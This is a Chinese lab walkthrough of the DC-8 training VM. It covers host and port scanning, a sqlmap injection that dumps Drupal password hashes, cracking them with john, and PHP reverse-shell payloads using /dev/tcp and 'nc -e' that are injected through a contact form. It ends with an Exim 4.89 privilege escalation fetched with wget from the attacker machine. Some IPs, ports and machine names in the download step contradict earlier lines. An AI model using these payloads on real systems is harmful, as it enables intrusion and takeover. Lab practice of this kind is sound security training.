一、环境搭建
kali的IP地址:192.168.200.14
DC-8的IP地址:192.168.200.13(一个flag)
靶机和攻击机处于同一个网络方式:nat或桥接
若出现开机错误,适当将dc的兼容版本改低,我的vmware workstation是17改成16.x就可以兼容
二、信息收集
1、扫描同网段存活主机
第一种方式:
arp-scan -l
第二种方式:
netdiscover -r 192.168.200.0/24
2、开放端口探测
nmap -sV -p- 192.168.200.13
开放端口有两个:22(SSH服务默认端口)和80(http默认端口)
3.目录扫描
查看robots。txt文件
这些禁止爬取的文件基本上都访问不了
三,漏洞探测
访问web页面
和DC-7一样的CMS(Drupal),DC-7的版本是8的,这个DC-8的版本是7的
不过页面中存在这样的三个不同的URL:
http://192.168.200.13/?nid=1
http://192.168.200.13/?nid=2
http://192.168.200.13/?nid=3
可能存在文件包含和SQL注入的漏洞
SQLMAP
1、扫描数据库
sqlmap -u "http://192.168.200.13/?nid=1" --dbs --batch
2、查询数据表名
sqlmap -u "http://192.168.200.13/?nid=1" -D d7db --tables --batch
3、查询字段名
sqlmap -u "http://192.168.200.13/?nid=1" -D d7db -T users --columns --batch
4、查询字段值
sqlmap -u "http://192.168.200.13/?nid=1" -D d7db -T users -C name,pass --dump
账号:admin
密码: S S SD2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
账号:john
密码: S S SDqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
四。漏洞利用
1.爆破密码密文
Drupal的hash密文是经过特殊加密的,用john进行爆破,先保存到password.txt文件中
vim password.txt
爆破出来密文:turtle
试试 能不能直接账号对 DC-8 进行ssh登录,没成功,只能想办法获取webshell了
2.反弹shell
先用获得的密码:turtle登录,试试登录后台,应该是john的密码
登录成功!
还是运用上一靶场的方法,找一找能上传一句话木马的php文件
连不上。然后显示phpinfo的地址死活没反应
直接获取shell
PHP反弹 shell(Post 请求发送命令)
<?php system("bash -i > /dev/tcp/192.168.200.14/8899 0>&1");?> #交互式shell
<?php system("bash -c 'sh -i &>/dev/tcp/192.168.200.14/8899 0>&1'");?> #交互式shell
<?php
exec("nc -e /bin/bash 192.168.200.14 8899");
?>
将提交重定向行Confirmation page(确认页面)给勾上,然后滑下点保存,联系随便填入联系表单,点击发送,触发PHP代码
成功反弹shell
3.提权
查一下suid权限的二进制文件
find / -perm -4000 -print 2>/dev/null
查询Exim 版本为4.89
利用kali搜索EXP
不破坏原有结构,复制一份新的命名为shell.sh(到kali端的桌面)
cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh
开启http服务
python -m http.server 8899
注:交互页面,方便后续操作
python -c 'import pty;pty.spawn("/bin/bash")'
在DC-7中下载该文件
wget //192.168.200.57:8888/shell.sh
文件权限是无执行权限的,赋予执行权限
chmod 777 shell.sh
赋予可执行权限
接着根据sh脚本提示,执行文件
./shell.sh
不过奇怪的是,执行完之后还是普通权限
查看脚本的使用规则,又两个参数可用
将两个规则分别运行,第一个规则在运行之后无效;第二个规则成功运行,等待几秒之后,输入whoami可以看到提权成功
近到root目录,查看最终flag内容